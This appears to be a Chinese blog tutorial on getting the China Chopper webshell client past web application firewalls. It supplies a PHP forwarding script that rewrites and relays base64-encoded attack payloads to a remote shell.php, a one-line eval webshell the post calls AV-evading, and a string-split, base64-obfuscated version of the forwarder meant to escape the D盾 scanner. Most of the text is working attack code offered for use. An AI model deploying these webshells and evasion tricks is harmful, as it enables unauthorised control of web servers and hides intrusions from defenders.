Part1
菜刀本身对&＃xff0c;POST的数据进制eval的base64编码&＃xff0c;很多WAF对菜刀进行拦截&＃xff0c;依靠对这些特征来拦截&＃xff0c;本地做一个转发可以绕过拦截。
Part2
本地运行脚本&＃xff0c;可以用phpstudy之类的集成软件包。
转发脚本&＃xff1a;
php
$target&＃61;"http://localhost/shell.php";//一句话的地址&＃xff0c;转发脚本密码就是你一句话的密码
$poststr&＃61;&＃39;&＃39;;
$i&＃61;0;
foreach($_POST as $k&＃61;>$v)
{
if(strstr($v, "base64_decode"))
{
$v&＃61;str_replace("base64_decode(","",$v);
$v&＃61;str_replace("))",")",$v);
}
else
{
if($k&＃61;&＃61;&＃61;"z0")
$v&＃61;base64_decode($v);
}
$pp&＃61;$k."&＃61;".urlencode($v);
//echo($pp);
if($i!&＃61;0)
{
$poststr&＃61;$poststr."&".$pp;
}
else
{
$poststr&＃61;$pp;
}
$i&＃61;$i&＃43;1;
}
$ch &＃61; curl_init();
$curl_url &＃61; $target."?".$_SERVER[&＃39;QUERY_STRING&＃39;];
curl_setopt($ch, CURLOPT_URL, $curl_url);
curl_setopt($ch, CURLOPT_POST, 1);
curl_setopt($ch, CURLOPT_POSTFIELDS, $poststr);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
$result &＃61; curl_exec($ch);
curl_close($ch);
echo $result;
Part3
连接菜刀&＃xff1a;
当然啦&＃xff0c;一句话得免杀&＃xff0c;我这里分享一个。
php
// 密码 1
$a&＃61;call_user_func(function($u){return &＃64;$_REQUEST[$u];},&＃39;1&＃39;);
eval($b&＃61;&$a);
Part3
免杀&＃xff0c;我用D盾扫转发脚本时候&＃xff0c;暴5级了&＃xff0c;不过这种本地运行的脚本&＃xff0c;好像和并没有什么关系。
但是&＃xff0c;实在有些无聊&＃xff0c;就免杀下过D盾。
免杀转发脚本 &＃xff1a;
php
$l&＃61;&＃39;baSe6&＃39;;
$o&＃61;&＃39;4_dE&＃39;;
$v&＃61;&＃39;cO&＃39;;
$e&＃61;&＃39;DE&＃39;;
$love&＃61;$l.$o.$v.$e;
$a&＃61;$love(&＃39;JHRhcmdldD0iaHR0cDovL2xvY2FsaG9zdC9zaGVsbC5waHAiOy8v5LiA5Y&＃43;l6K&＃43;d55qE5Zyw5Z2ACiRwb3N0c3RyPScnOwokaT0wOwpmb3JlYWNoKCRfUE9TVCBhcyAkaz0&＃43;JHYpCnsKaWYoc3Ryc3RyKCR2LCAiYmFzZTY0X2RlY29kZSIpKQp7CiR2PXN0cl9yZXBsYWNlKCJiYXNlNjRfZGVjb2RlKCIsIiIsJHYpOwokdj1zdHJfcmVwbGFjZSgiKSkiLCIpIiwkdik7Cn0KZWxzZQp7CmlmKCRrPT09InowIikKJHY9YmFzZTY0X2RlY29kZSgkdik7Cn0KJHBwPSRrLiI9Ii51cmxlbmNvZGUoJHYpOwovL2VjaG8oJHBwKTsKaWYoJGkhPTApCnsKJHBvc3RzdHI9JHBvc3RzdHIuIiYiLiRwcDsKfQplbHNlCnsKJHBvc3RzdHI9JHBwOwp9CiRpPSRpKzE7Cn0KJGNoID0gY3VybF9pbml0KCk7CiRjdXJsX3VybCA9ICR0YXJnZXQuIj8iLiRfU0VSVkVSWydRVUVSWV9TVFJJTkcnXTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1VSTCwgJGN1cmxfdXJsKTsKY3VybF9zZXRvcHQoJGNoLCBDVVJMT1BUX1BPU1QsIDEpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUE9TVEZJRUxEUywgJHBvc3RzdHIpOwpjdXJsX3NldG9wdCgkY2gsIENVUkxPUFRfUkVUVVJOVFJBTlNGRVIsIDEpOwokcmVzdWx0ID0gY3VybF9leGVjKCRjaCk7CmN1cmxfY2xvc2UoJGNoKTsKZWNobyAkcmVzdWx0Owo&＃61;&＃39;);
eval($b&＃61;&$a);
参考: https://www.cnblogs.com/h4ck0ne/p/5154569.html
京公网安备 11010802041100号